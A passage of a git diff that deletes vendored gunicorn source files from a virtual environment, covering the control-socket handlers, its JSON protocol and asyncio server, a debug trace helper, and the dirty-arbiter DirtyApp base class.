'graceful_timeout', 'keepalive', 'max_requests', - 'max_requests_jitter', 'worker_connections', 'preload_app', - 'daemon', 'pidfile', 'proc_name', 'reload', - 'dirty_workers', 'dirty_apps', 'dirty_timeout', - 'control_socket', 'control_socket_disable', - ] - - for key in config_keys: - try: - value = getattr(cfg, key) - # Convert non-serializable types - if callable(value): - value = str(value) - elif hasattr(value, '__class__') and not isinstance( - value, (str, int, float, bool, list, dict, type(None))): - value = str(value) - config[key] = value - except AttributeError: - pass - - return config - - def show_stats(self) -> dict: - """ - Return server statistics. - - Returns: - Dictionary with: - - uptime: Seconds since arbiter started - - pid: Arbiter PID - - workers_current: Current number of workers - - workers_spawned: Total workers spawned - - workers_killed: Total workers killed (if tracked) - - reloads: Number of reloads (if tracked) - """ - stats = getattr(self.arbiter, '_stats', {}) - start_time = stats.get('start_time') - - uptime = None - if start_time: - uptime = round(time.time() - start_time, 2) - - return { - "uptime": uptime, - "pid": self.arbiter.pid, - "workers_current": len(self.arbiter.WORKERS), - "workers_target": self.arbiter.num_workers, - "workers_spawned": stats.get('workers_spawned', 0), - "workers_killed": stats.get('workers_killed', 0), - "reloads": stats.get('reloads', 0), - "dirty_arbiter_pid": self.arbiter.dirty_arbiter_pid or None, - } - - def show_listeners(self) -> dict: - """ - Return bound socket information. - - Returns: - Dictionary with listeners list - """ - listeners = [] - - for lnr in self.arbiter.LISTENERS: - addr = str(lnr) - listener_info = { - "address": addr, - "fd": lnr.fileno(), - } - - # Try to get socket family - try: - sock = lnr.sock - if sock.family == socket.AF_UNIX: - listener_info["type"] = "unix" - elif sock.family == socket.AF_INET: - listener_info["type"] = "tcp" - elif sock.family == socket.AF_INET6: - listener_info["type"] = "tcp6" - except Exception: - listener_info["type"] = "unknown" - - listeners.append(listener_info) - - return {"listeners": listeners, "count": len(listeners)} - - def worker_add(self, count: int = 1) -> dict: - """ - Increase worker count. - - Args: - count: Number of workers to add (default 1) - - Returns: - Dictionary with added count and new total - """ - count = max(1, int(count)) - old_count = self.arbiter.num_workers - self.arbiter.num_workers += count - - # Wake up the arbiter to spawn workers - self.arbiter.wakeup() - - return { - "added": count, - "previous": old_count, - "total": self.arbiter.num_workers, - } - - def worker_remove(self, count: int = 1) -> dict: - """ - Decrease worker count. - - Args: - count: Number of workers to remove (default 1) - - Returns: - Dictionary with removed count and new total - """ - count = max(1, int(count)) - old_count = self.arbiter.num_workers - - # Don't go below 1 worker - new_count = max(1, old_count - count) - actual_removed = old_count - new_count - - self.arbiter.num_workers = new_count - - # Wake up the arbiter to kill excess workers - self.arbiter.wakeup() - - return { - "removed": actual_removed, - "previous": old_count, - "total": new_count, - } - - def worker_kill(self, pid: int) -> dict: - """ - Gracefully terminate a specific worker. - - Args: - pid: Worker process ID - - Returns: - Dictionary with killed PID or error - """ - pid = int(pid) - - if pid not in self.arbiter.WORKERS: - return { - "success": False, - "error": f"Worker {pid} not found", - } - - try: - os.kill(pid, signal.SIGTERM) - return { - "success": True, - "killed": pid, - } - except OSError as e: - return { - "success": False, - "error": str(e), - } - - def dirty_add(self, count: int = 1) -> dict: - """ - Spawn additional dirty workers. - - Sends a MANAGE message to the dirty arbiter to spawn workers. - - Args: - count: Number of dirty workers to add (default 1) - - Returns: - Dictionary with added count or error - """ - if not self.arbiter.dirty_arbiter_pid: - return { - "success": False, - "error": "Dirty arbiter not running", - } - - count = max(1, int(count)) - return self._send_manage_message("add", count) - - def dirty_remove(self, count: int = 1) -> dict: - """ - Remove dirty workers. - - Sends a MANAGE message to the dirty arbiter to remove workers. - - Args: - count: Number of dirty workers to remove (default 1) - - Returns: - Dictionary with removed count or error - """ - if not self.arbiter.dirty_arbiter_pid: - return { - "success": False, - "error": "Dirty arbiter not running", - } - - count = max(1, int(count)) - return self._send_manage_message("remove", count) - - def _send_manage_message(self, operation: str, count: int) -> dict: - """ - Send a worker management message to the dirty arbiter. - - Args: - operation: "add" or "remove" - count: Number of workers to add/remove - - Returns: - Dictionary with result or error - """ - # Get socket path from arbiter object or environment - dirty_socket_path = None - if hasattr(self.arbiter, 'dirty_arbiter') and self.arbiter.dirty_arbiter: - dirty_socket_path = getattr( - self.arbiter.dirty_arbiter, 'socket_path', None - ) - if not dirty_socket_path: - dirty_socket_path = os.environ.get('GUNICORN_DIRTY_SOCKET') - if not dirty_socket_path: - return { - "success": False, - "error": "Cannot find dirty arbiter socket path", - } - - try: - from gunicorn.dirty.protocol import ( - DirtyProtocol, MANAGE_OP_ADD, MANAGE_OP_REMOVE - ) - - op = MANAGE_OP_ADD if operation == "add" else MANAGE_OP_REMOVE - - sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) - sock.settimeout(10.0) - sock.connect(dirty_socket_path) - - # Send manage request - request = { - "type": DirtyProtocol.MSG_TYPE_MANAGE, - "id": 1, - "op": op, - "count": count, - } - DirtyProtocol.write_message(sock, request) - - # Read response - response = DirtyProtocol.read_message(sock) - sock.close() - - if response.get("type") == DirtyProtocol.MSG_TYPE_RESPONSE: - return response.get("result", {"success": True}) - elif response.get("type") == DirtyProtocol.MSG_TYPE_ERROR: - error = response.get("error", {}) - return { - "success": False, - "error": error.get("message", str(error)), - } - else: - return { - "success": False, - "error": f"Unexpected response type: {response.get('type')}", - } - - except Exception as e: - return { - "success": False, - "error": str(e), - } - - def reload(self) -> dict: - """ - Trigger graceful reload (equivalent to SIGHUP). - - Returns: - Dictionary with status - """ - # Send HUP to self to trigger reload - os.kill(self.arbiter.pid, signal.SIGHUP) - return {"status": "reloading"} - - def reopen(self) -> dict: - """ - Reopen log files (equivalent to SIGUSR1). - - Returns: - Dictionary with status - """ - os.kill(self.arbiter.pid, signal.SIGUSR1) - return {"status": "reopening"} - - def shutdown(self, mode: str = "graceful") -> dict: - """ - Initiate shutdown. - - Args: - mode: "graceful" (SIGTERM) or "quick" (SIGINT) - - Returns: - Dictionary with status - """ - if mode == "quick": - os.kill(self.arbiter.pid, signal.SIGINT) - else: - os.kill(self.arbiter.pid, signal.SIGTERM) - - return {"status": "shutting_down", "mode": mode} - - def show_all(self) -> dict: - """ - Return overview of all processes (arbiter, web workers, dirty arbiter, dirty workers). - - Returns: - Dictionary with complete process hierarchy - """ - now = time.monotonic() - - # Arbiter info - arbiter_info = { - "pid": self.arbiter.pid, - "type": "arbiter", - "role": "master", - } - - # Web workers (HTTP workers) - web_workers = [] - for pid, worker in self.arbiter.WORKERS.items(): - try: - last_update = worker.tmp.last_update() - last_heartbeat = round(now - last_update, 2) - except (OSError, ValueError): - last_heartbeat = None - - web_workers.append({ - "pid": pid, - "type": "web", - "age": worker.age, - "booted": worker.booted, - "last_heartbeat": last_heartbeat, - }) - - # Sort by age - web_workers.sort(key=lambda w: w["age"]) - - # Dirty arbiter info (runs in separate process) - dirty_arbiter_info = None - dirty_workers = [] - - if self.arbiter.dirty_arbiter_pid: - dirty_arbiter_info = { - "pid": self.arbiter.dirty_arbiter_pid, - "type": "dirty_arbiter", - "role": "dirty master", - } - - # Query dirty arbiter for worker info via its socket - dirty_workers = self._query_dirty_workers() - - return { - "arbiter": arbiter_info, - "web_workers": web_workers, - "web_worker_count": len(web_workers), - "dirty_arbiter": dirty_arbiter_info, - "dirty_workers": dirty_workers, - "dirty_worker_count": len(dirty_workers), - } - - def _query_dirty_workers(self) -> list: - """ - Query the dirty arbiter for worker information. - - Connects to the dirty arbiter socket and sends a status request. - - Returns: - List of dirty worker info dicts, or empty list on error - """ - # Get socket path from arbiter object or environment - dirty_socket_path = None - if hasattr(self.arbiter, 'dirty_arbiter') and self.arbiter.dirty_arbiter: - dirty_socket_path = getattr(self.arbiter.dirty_arbiter, 'socket_path', None) - if not dirty_socket_path: - dirty_socket_path = os.environ.get('GUNICORN_DIRTY_SOCKET') - if not dirty_socket_path: - return [] - - try: - from gunicorn.dirty.protocol import DirtyProtocol - - sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) - sock.settimeout(2.0) - sock.connect(dirty_socket_path) - - # Send status request - request = { - "type": DirtyProtocol.MSG_TYPE_STATUS, - "id": "ctl-status-1", - } - DirtyProtocol.write_message(sock, request) - - # Read response - response = DirtyProtocol.read_message(sock) - sock.close() - - if response.get("type") == DirtyProtocol.MSG_TYPE_RESPONSE: - result = response.get("result", {}) - return result.get("workers", []) - - except Exception: - pass - - return [] - - def help(self) -> dict: - """ - Return list of available commands. - - Returns: - Dictionary with commands and descriptions - """ - commands = { - "show all": "Show all processes (arbiter, web workers, dirty workers)", - "show workers": "List HTTP workers with their status", - "show dirty": "List dirty workers and apps", - "show config": "Show current effective configuration", - "show stats": "Show server statistics", - "show listeners": "Show bound sockets", - "worker add [N]": "Spawn N workers (default 1)", - "worker remove [N]": "Remove N workers (default 1)", - "worker kill ": "Gracefully terminate specific worker", - "dirty add [N]": "Spawn N dirty workers (default 1)", - "dirty remove [N]": "Remove N dirty workers (default 1)", - "reload": "Graceful reload (HUP)", - "reopen": "Reopen log files (USR1)", - "shutdown [graceful|quick]": "Shutdown server (TERM/INT)", - "help": "Show this help message", - } - return {"commands": commands} diff --git a/venv/Lib/site-packages/gunicorn/ctl/protocol.py b/venv/Lib/site-packages/gunicorn/ctl/protocol.py deleted file mode 100644 index 36d2fe781ce80d57e32aa0a618b2b86ebf19c406..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/ctl/protocol.py +++ /dev/null @@ -1,224 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -""" -Control Socket Protocol - -JSON-based protocol with length-prefixed framing for the control interface. - -Message Format: - +----------------+------------------+ - | Length (4B BE) | JSON Payload | - +----------------+------------------+ - -Request Format: - {"id": 1, "command": "show", "args": ["workers"]} - -Response Format: - {"id": 1, "status": "ok", "data": {...}} - {"id": 1, "status": "error", "error": "message"} -""" - -import json -import struct - - -class ProtocolError(Exception): - """Protocol-level error.""" - - -class ControlProtocol: - """ - Protocol implementation for control socket communication. - - Uses 4-byte big-endian length prefix followed by JSON payload. - """ - - # Maximum message size (16 MB) - MAX_MESSAGE_SIZE = 16 * 1024 * 1024 - - @staticmethod - def encode_message(data: dict) -> bytes: - """ - Encode a message for transmission. - - Args: - data: Dictionary to encode - - Returns: - Length-prefixed JSON bytes - """ - payload = json.dumps(data).encode('utf-8') - length = struct.pack('>I', len(payload)) - return length + payload - - @staticmethod - def decode_message(data: bytes) -> dict: - """ - Decode a message from bytes. - - Args: - data: Raw bytes (length prefix + JSON payload) - - Returns: - Decoded dictionary - """ - if len(data) < 4: - raise ProtocolError("Message too short") - - length = struct.unpack('>I', data[:4])[0] - if len(data) < 4 + length: - raise ProtocolError("Incomplete message") - - payload = data[4:4 + length] - return json.loads(payload.decode('utf-8')) - - @staticmethod - def read_message(sock) -> dict: - """ - Read one message from a socket. - - Args: - sock: Socket to read from - - Returns: - Decoded message dictionary - - Raises: - ProtocolError: If message is malformed - ConnectionError: If connection is closed - """ - # Read length prefix - length_data = b'' - while len(length_data) < 4: - chunk = sock.recv(4 - len(length_data)) - if not chunk: - if not length_data: - raise ConnectionError("Connection closed") - raise ProtocolError("Incomplete length prefix") - length_data += chunk - - length = struct.unpack('>I', length_data)[0] - - if length > ControlProtocol.MAX_MESSAGE_SIZE: - raise ProtocolError(f"Message too large: {length}") - - # Read payload - payload_data = b'' - while len(payload_data) < length: - chunk = sock.recv(min(length - len(payload_data), 65536)) - if not chunk: - raise ProtocolError("Incomplete payload") - payload_data += chunk - - try: - return json.loads(payload_data.decode('utf-8')) - except json.JSONDecodeError as e: - raise ProtocolError(f"Invalid JSON: {e}") - - @staticmethod - def write_message(sock, data: dict): - """ - Write one message to a socket. - - Args: - sock: Socket to write to - data: Message dictionary to send - """ - message = ControlProtocol.encode_message(data) - sock.sendall(message) - - @staticmethod - async def read_message_async(reader) -> dict: - """ - Read one message from an async reader. - - Args: - reader: asyncio StreamReader - - Returns: - Decoded message dictionary - """ - # Read length prefix - length_data = await reader.readexactly(4) - length = struct.unpack('>I', length_data)[0] - - if length > ControlProtocol.MAX_MESSAGE_SIZE: - raise ProtocolError(f"Message too large: {length}") - - # Read payload - payload_data = await reader.readexactly(length) - - try: - return json.loads(payload_data.decode('utf-8')) - except json.JSONDecodeError as e: - raise ProtocolError(f"Invalid JSON: {e}") - - @staticmethod - async def write_message_async(writer, data: dict): - """ - Write one message to an async writer. - - Args: - writer: asyncio StreamWriter - data: Message dictionary to send - """ - message = ControlProtocol.encode_message(data) - writer.write(message) - await writer.drain() - - -def make_request(request_id: int, command: str, args: list = None) -> dict: - """ - Create a request message. - - Args: - request_id: Unique request identifier - command: Command name (e.g., "show workers") - args: Optional list of arguments - - Returns: - Request dictionary - """ - return { - "id": request_id, - "command": command, - "args": args or [], - } - - -def make_response(request_id: int, data: dict = None) -> dict: - """ - Create a success response message. - - Args: - request_id: Request identifier being responded to - data: Response data - - Returns: - Response dictionary - """ - return { - "id": request_id, - "status": "ok", - "data": data or {}, - } - - -def make_error_response(request_id: int, error: str) -> dict: - """ - Create an error response message. - - Args: - request_id: Request identifier being responded to - error: Error message - - Returns: - Error response dictionary - """ - return { - "id": request_id, - "status": "error", - "error": error, - } diff --git a/venv/Lib/site-packages/gunicorn/ctl/server.py b/venv/Lib/site-packages/gunicorn/ctl/server.py deleted file mode 100644 index e1ce975e50d9a45732d25cf2f0e7b3e55101f646..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/ctl/server.py +++ /dev/null @@ -1,419 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -""" -Control Socket Server - -Runs in the arbiter process and accepts commands via Unix socket. -Uses asyncio in a background thread to handle client connections. - -Fork Safety: - This server uses os.register_at_fork() to properly handle fork() calls. - Before fork: the asyncio thread is stopped to prevent lock issues. - After fork in parent: the server is restarted. - After fork in child: references are cleared (workers don't need the control server). -""" - -import asyncio -import os -import shlex -import threading - -from gunicorn.ctl.handlers import CommandHandlers -from gunicorn.ctl.protocol import ( - ControlProtocol, - make_response, - make_error_response, -) - - -# Module-level tracking of active control server instances for fork handling. -# This is necessary because os.register_at_fork() callbacks are process-level. -_active_servers = set() -_module_state = {"fork_handlers_registered": False} - - -def _register_fork_handlers(): - """Register fork handlers once at module level.""" - if _module_state["fork_handlers_registered"]: - return - _module_state["fork_handlers_registered"] = True - - os.register_at_fork( - before=_before_fork, - after_in_parent=_after_fork_parent, - after_in_child=_after_fork_child, - ) - - -def _before_fork(): - """Called before fork() - stop all active control servers.""" - for server in list(_active_servers): - server._stop_for_fork() - - -def _after_fork_parent(): - """Called in parent after fork() - restart all control servers.""" - for server in list(_active_servers): - server._restart_after_fork() - - -def _after_fork_child(): - """Called in child after fork() - cleanup references.""" - # In the child process (worker), we don't need the control server. - # Just clear the references without trying to stop anything. - _active_servers.clear() - - -class ControlSocketServer: - """ - Control socket server running in arbiter process. - - The server runs an asyncio event loop in a background thread, - accepting connections and dispatching commands to handlers. - - Fork safety is handled via os.register_at_fork() - the server - automatically stops before fork and restarts after in the parent. - """ - - def __init__(self, arbiter, socket_path, socket_mode=0o600): - """ - Initialize control socket server. - - Args: - arbiter: The Gunicorn arbiter instance - socket_path: Path for the Unix socket - socket_mode: Permission mode for socket (default 0o600) - """ - self.arbiter = arbiter - self.socket_path = socket_path - self.socket_mode = socket_mode - - self.handlers = CommandHandlers(arbiter) - self._server = None - self._loop = None - self._thread = None - self._running = False - self._was_running_before_fork = False - # Set by the loop thread once self._loop and self._server are live. - # The stop paths wait on it so a shutdown is never scheduled against a - # not-yet-initialized loop (which would leak the thread + its fds). - self._ready = threading.Event() - - # Ensure fork handlers are registered - _register_fork_handlers() - - def start(self): - """Start server in background thread with asyncio event loop.""" - if self._running: - return - - self._running = True - self._ready = threading.Event() - self._thread = threading.Thread(target=self._run_loop, daemon=True) - self._thread.start() - - # Track this server for fork handling - _active_servers.add(self) - - def stop(self): - """Stop server and cleanup socket.""" - # Remove from active servers tracking - _active_servers.discard(self) - - if not self._running: - return - - self._running = False - - # Wait until the loop is live so the shutdown is actually delivered. - self._ready.wait(timeout=2.0) - if self._loop is not None: - # Schedule server close in the loop - self._loop.call_soon_threadsafe(self._shutdown) - - if self._thread: - self._thread.join(timeout=2.0) - self._thread = None - - # Clean up socket file - if os.path.exists(self.socket_path): - try: - os.unlink(self.socket_path) - except OSError: - pass - - def _stop_for_fork(self): - """Stop server before fork (called by fork handler).""" - if not self._running: - self._was_running_before_fork = False - return - - self._was_running_before_fork = True - self._running = False - - # Wait until the loop is live before scheduling shutdown. Without this, - # a fork that lands while the thread is still starting up skips the - # shutdown, join() times out, and the thread is dropped while still - # holding its selector fd and the unix socket (the #3648 leak). - self._ready.wait(timeout=2.0) - if self._loop is not None: - try: - self._loop.call_soon_threadsafe(self._shutdown) - except RuntimeError: - # Loop may already be closed - pass - - if self._thread: - self._thread.join(timeout=2.0) - if self._thread.is_alive() and self.arbiter.log: - self.arbiter.log.warning( - "control socket thread did not stop before fork") - self._thread = None - - self._loop = None - self._server = None - - def _restart_after_fork(self): - """Restart server in parent after fork (called by fork handler).""" - if not self._was_running_before_fork: - return - - self._was_running_before_fork = False - self._running = True - self._ready = threading.Event() - self._thread = threading.Thread(target=self._run_loop, daemon=True) - self._thread.start() - - def _shutdown(self): - """Shutdown server (called from event loop thread).""" - if self._server: - self._server.close() - - def _run_loop(self): - """Run the asyncio event loop in background thread.""" - try: - asyncio.run(self._serve()) - except Exception as e: - if self._running and self.arbiter.log: - self.arbiter.log.error("Control server error: %s", e) - finally: - # Release any stop path waiting on readiness, even if the thread - # never became ready (eg the server failed to bind). - self._ready.set() - - async def _serve(self): - """Main async server loop.""" - self._loop = asyncio.get_running_loop() - - # Create parent directory if needed (for ~/.gunicorn/) - socket_dir = os.path.dirname(self.socket_path) - if socket_dir and not os.path.exists(socket_dir): - os.makedirs(socket_dir, mode=0o700) - - # Remove socket if it exists - if os.path.exists(self.socket_path): - os.unlink(self.socket_path) - - # Create Unix socket server - self._server = await asyncio.start_unix_server( - self._handle_client, - path=self.socket_path - ) - - # Set socket permissions - os.chmod(self.socket_path, self.socket_mode) - - if self.arbiter.log: - self.arbiter.log.info("Control socket listening at %s", - self.socket_path) - - # Loop and server are live; let the stop paths schedule shutdown. - self._ready.set() - - try: - async with self._server: - await self._server.serve_forever() - except asyncio.CancelledError: - pass - finally: - if os.path.exists(self.socket_path): - try: - os.unlink(self.socket_path) - except OSError: - pass - - async def _handle_client(self, reader, writer): - """ - Handle client connection. - - Args: - reader: asyncio StreamReader - writer: asyncio StreamWriter - """ - try: - while self._running: - try: - message = await asyncio.wait_for( - ControlProtocol.read_message_async(reader), - timeout=300.0 # 5 minute idle timeout - ) - except asyncio.TimeoutError: - # Client idle too long, close connection - break - except asyncio.IncompleteReadError: - # Client disconnected - break - except Exception: - # Protocol error - break - - # Process command - response = await self._dispatch(message) - - # Send response - await ControlProtocol.write_message_async(writer, response) - - except Exception as e: - if self.arbiter.log: - self.arbiter.log.debug("Control client error: %s", e) - finally: - writer.close() - try: - await writer.wait_closed() - except Exception: - pass - - async def _dispatch(self, message: dict) -> dict: - """ - Dispatch command to appropriate handler. - - Args: - message: Request message dict - - Returns: - Response dictionary - """ - request_id = message.get("id", 0) - command = message.get("command", "").strip() - args = message.get("args", []) - - if not command: - return make_error_response(request_id, "Empty command") - - try: - # Parse command (e.g., "show workers" or "worker add 2") - parts = shlex.split(command) - if args: - parts.extend(str(a) for a in args) - - if not parts: - return make_error_response(request_id, "Empty command") - - # Route to handler - result = self._execute_command(parts) - return make_response(request_id, result) - - except ValueError as e: - return make_error_response(request_id, f"Invalid argument: {e}") - except Exception as e: - if self.arbiter.log: - self.arbiter.log.exception("Command error") - return make_error_response(request_id, f"Command failed: {e}") - - def _execute_command(self, parts: list) -> dict: # pylint: disable=too-many-return-statements - """ - Execute a parsed command. - - Args: - parts: Command parts (e.g., ["show", "workers"]) - - Returns: - Handler result dictionary - """ - if not parts: - raise ValueError("Empty command") - - cmd = parts[0].lower() - rest = parts[1:] - - # Map commands to handlers - if cmd == "show": - return self._handle_show(rest) - elif cmd == "worker": - return self._handle_worker(rest) - elif cmd == "dirty": - return self._handle_dirty(rest) - elif cmd == "reload": - return self.handlers.reload() - elif cmd == "reopen": - return self.handlers.reopen() - elif cmd == "shutdown": - mode = rest[0] if rest else "graceful" - return self.handlers.shutdown(mode) - elif cmd == "help": - return self.handlers.help() - else: - raise ValueError(f"Unknown command: {cmd}") - - def _handle_show(self, args: list) -> dict: - """Handle 'show' commands.""" - if not args: - raise ValueError("Missing show target (all|workers|dirty|config|stats|listeners)") - - target = args[0].lower() - - if target == "all": - return self.handlers.show_all() - elif target == "workers": - return self.handlers.show_workers() - elif target == "dirty": - return self.handlers.show_dirty() - elif target == "config": - return self.handlers.show_config() - elif target == "stats": - return self.handlers.show_stats() - elif target == "listeners": - return self.handlers.show_listeners() - else: - raise ValueError(f"Unknown show target: {target}") - - def _handle_worker(self, args: list) -> dict: - """Handle 'worker' commands.""" - if not args: - raise ValueError("Missing worker action (add|remove|kill)") - - action = args[0].lower() - action_args = args[1:] - - if action == "add": - count = int(action_args[0]) if action_args else 1 - return self.handlers.worker_add(count) - elif action == "remove": - count = int(action_args[0]) if action_args else 1 - return self.handlers.worker_remove(count) - elif action == "kill": - if not action_args: - raise ValueError("Missing PID for worker kill") - pid = int(action_args[0]) - return self.handlers.worker_kill(pid) - else: - raise ValueError(f"Unknown worker action: {action}") - - def _handle_dirty(self, args: list) -> dict: - """Handle 'dirty' commands.""" - if not args: - raise ValueError("Missing dirty action (add|remove)") - - action = args[0].lower() - action_args = args[1:] - - if action == "add": - count = int(action_args[0]) if action_args else 1 - return self.handlers.dirty_add(count) - elif action == "remove": - count = int(action_args[0]) if action_args else 1 - return self.handlers.dirty_remove(count) - else: - raise ValueError(f"Unknown dirty action: {action}") diff --git a/venv/Lib/site-packages/gunicorn/debug.py b/venv/Lib/site-packages/gunicorn/debug.py deleted file mode 100644 index 2f788d19e662a5c0a6b7b8e1dbee944162ab0f9d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/debug.py +++ /dev/null @@ -1,68 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -"""The debug module contains utilities and functions for better -debugging Gunicorn.""" - -import sys -import linecache -import re -import inspect - -__all__ = ['spew', 'unspew'] - -_token_spliter = re.compile(r'\W+') - - -class Spew: - - def __init__(self, trace_names=None, show_values=True): - self.trace_names = trace_names - self.show_values = show_values - - def __call__(self, frame, event, arg): - if event == 'line': - lineno = frame.f_lineno - if '__file__' in frame.f_globals: - filename = frame.f_globals['__file__'] - if (filename.endswith('.pyc') or - filename.endswith('.pyo')): - filename = filename[:-1] - name = frame.f_globals['__name__'] - line = linecache.getline(filename, lineno) - else: - name = '[unknown]' - try: - src_lines, src_start = inspect.getsourcelines(frame) - line = src_lines[lineno - src_start] - except (OSError, IndexError): - line = 'Unknown code named [%s]. VM instruction #%d' % ( - frame.f_code.co_name, frame.f_lasti) - if self.trace_names is None or name in self.trace_names: - print('%s:%s: %s' % (name, lineno, line.rstrip())) - if not self.show_values: - return self - details = [] - tokens = _token_spliter.split(line) - for tok in tokens: - if tok in frame.f_globals: - details.append('%s=%r' % (tok, frame.f_globals[tok])) - if tok in frame.f_locals: - details.append('%s=%r' % (tok, frame.f_locals[tok])) - if details: - print("\t%s" % ' '.join(details)) - return self - - -def spew(trace_names=None, show_values=False): - """Install a trace hook which writes incredibly detailed logs - about what code is being executed to stdout. - """ - sys.settrace(Spew(trace_names, show_values)) - - -def unspew(): - """Remove the trace hook installed by spew. - """ - sys.settrace(None) diff --git a/venv/Lib/site-packages/gunicorn/dirty/__init__.py b/venv/Lib/site-packages/gunicorn/dirty/__init__.py deleted file mode 100644 index 05163a0c2478f5f55f303bfb9af5492849fb4462..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/dirty/__init__.py +++ /dev/null @@ -1,81 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -""" -Dirty Arbiters - Separate process pool for long-running operations. - -Dirty Arbiters provide a separate process pool for executing long-running, -blocking operations (AI model loading, heavy computation) without blocking -HTTP workers. Inspired by Erlang's dirty schedulers. - -Key Properties: -- Completely separate from HTTP workers - can be killed/restarted independently -- Stateful - loaded resources persist in dirty worker memory -- Message-passing IPC via Unix sockets with JSON serialization -- Explicit execute() API (no hidden IPC) -- Asyncio-based for clean concurrent handling and future streaming support -""" - -from .errors import ( - DirtyError, - DirtyTimeoutError, - DirtyConnectionError, - DirtyWorkerError, - DirtyAppError, - DirtyAppNotFoundError, - DirtyProtocolError, -) - -from .app import DirtyApp - -from .client import ( - DirtyClient, - get_dirty_client, - get_dirty_client_async, - set_dirty_socket_path, - close_dirty_client, - close_dirty_client_async, -) - -# Stash (shared state between workers) -from . import stash -from .stash import ( - StashClient, - StashTable, - StashError, - StashTableNotFoundError, - StashKeyNotFoundError, -) - -# Internal imports used by gunicorn core (not part of public API) -from .arbiter import DirtyArbiter - -__all__ = [ - # Errors - "DirtyError", - "DirtyTimeoutError", - "DirtyConnectionError", - "DirtyWorkerError", - "DirtyAppError", - "DirtyAppNotFoundError", - "DirtyProtocolError", - # App base class - "DirtyApp", - # Client - "DirtyClient", - "get_dirty_client", - "get_dirty_client_async", - "close_dirty_client", - "close_dirty_client_async", - # Stash (shared state) - "stash", - "StashClient", - "StashTable", - "StashError", - "StashTableNotFoundError", - "StashKeyNotFoundError", - # Internal (used by gunicorn core) - "DirtyArbiter", - "set_dirty_socket_path", -] diff --git a/venv/Lib/site-packages/gunicorn/dirty/app.py b/venv/Lib/site-packages/gunicorn/dirty/app.py deleted file mode 100644 index 093fb3e1f895d1768fcf99ad15322485ea9a24b8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/dirty/app.py +++ /dev/null @@ -1,350 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -""" -Dirty Application Base Class - -Provides the DirtyApp base class that all dirty applications must inherit from, -and utilities for loading dirty apps from import paths. -""" - -import importlib -import sys - -from .errors import DirtyAppError, DirtyAppNotFoundError - - -class DirtyApp: - """ - Base class for dirty applications. - - Dirty applications are loaded once when the dirty worker starts and - persist in memory for the lifetime of the worker. They are designed - for stateful resources like ML models, connection pools, etc. - - Lifecycle - --------- - 1. ``__init__()``: Called when the app is instantiated (once per worker) - 2. ``init()``: Called after instantiation to initialize resources - 3. ``__call__()``: Called for each request from HTTP workers - 4. ``close()``: Called when the worker shuts down - - State Persistence - ----------------- - Instance variables persist across requests. This is the key feature - that enables loading heavy resources once and reusing them:: - - class MLApp(DirtyApp): - def init(self): - self.model = load_model() # Loaded once, reused forever - - def predict(self, data): - return self.model.predict(data) # Same model for all requests - - Thread Safety - ------------- - With ``dirty_threads=1`` (default): Only one request runs at a time, - so no thread safety concerns. - - With ``dirty_threads > 1``: Multiple requests may run concurrently - in the same worker. Your app MUST be thread-safe. Options: - - - Use locks: ``threading.Lock()`` for shared state - - Use thread-local: ``threading.local()`` for per-thread state - - Use read-only state: Load models once in init(), never mutate - - Example:: - - import threading - - class ThreadSafeMLApp(DirtyApp): - def __init__(self): - self.models = {} - self._lock = threading.Lock() - - def init(self): - self.models['default'] = load_model('base-model') - - def load_model(self, name): - with self._lock: - if name not in self.models: - self.models[name] = load_model(name) - return {"loaded": True, "name": name} - - Worker Allocation - ----------------- - By default, all dirty workers load all apps. For apps that consume - significant memory (like large ML models), you can limit how many - workers load the app by setting the ``workers`` class attribute:: - - class HeavyModelApp(DirtyApp): - workers = 2 # Only 2 workers will load this app - - def init(self): - self.model = load_10gb_model() - - Subclasses should implement: - - init(): Called once at worker startup to initialize resources - - __call__(action, *args, **kwargs): Handle requests from HTTP workers - - close(): Called at worker shutdown to cleanup resources - """ - - # Number of workers that should load this app. - # None means all workers (default, backward compatible). - # Set to an integer to limit how many workers load this app. - workers = None - - def init(self): - """ - Initialize the application. - - Called once when the dirty worker starts, after the app instance - is created. Use this for expensive initialization like loading - ML models, establishing database connections, etc. - - This method is called in the child process after fork, so it's - safe to initialize non-fork-safe resources here. - """ - - def __call__(self, action, *args, **kwargs): - """ - Handle a request from an HTTP worker. - - Args: - action: The action/method name to execute - *args: Positional arguments for the action - **kwargs: Keyword arguments for the action - - Returns: - The result of the action (must be JSON-serializable) - - Raises: - ValueError: If the action is unknown - Any exception: Will be caught and returned as DirtyAppError - """ - method = getattr(self, action, None) - if method is None or action.startswith('_'): - raise ValueError(f"Unknown action: {action}") - return method(*args, **kwargs) - - def close(self): - """ - Cleanup resources. - - Called when the dirty worker is shutting down. Use this to - release resources like database connections, unload models, etc. - """ - - -def parse_dirty_app_spec(spec): - """ - Parse a dirty app specification. - - Supports two formats: - - ``"module:Class"`` - standard format, all workers load the app - - ``"module:Class:N"`` - worker-limited format, only N workers load the app - - Args: - spec: The app specification string - - Returns: - tuple: (import_path, worker_count) - - import_path: The "module:Class" part for importing - - worker_count: Integer limit or None for all workers - - Raises: - DirtyAppError: If the spec format is invalid or worker_count is < 1 - - Examples:: - - >>> parse_dirty_app_spec("myapp:App") - ("myapp:App", None) - - >>> parse_dirty_app_spec("myapp:App:2") - ("myapp:App", 2) - - >>> parse_dirty_app_spec("myapp.sub:App:1") - ("myapp.sub:App", 1) - """ - if ':' not in spec: - raise DirtyAppError( - f"Invalid import path format: {spec}. " - f"Expected 'module.path:ClassName' or 'module.path:ClassName:N'", - app_path=spec - ) - - parts = spec.split(':') - - # Standard format: "module:Class" or "module.sub:Class" - if len(parts) == 2: - return (spec, None) - - # Worker-limited format: "module:Class:N" - if len(parts) == 3: - module_path, class_name, count_str = parts - 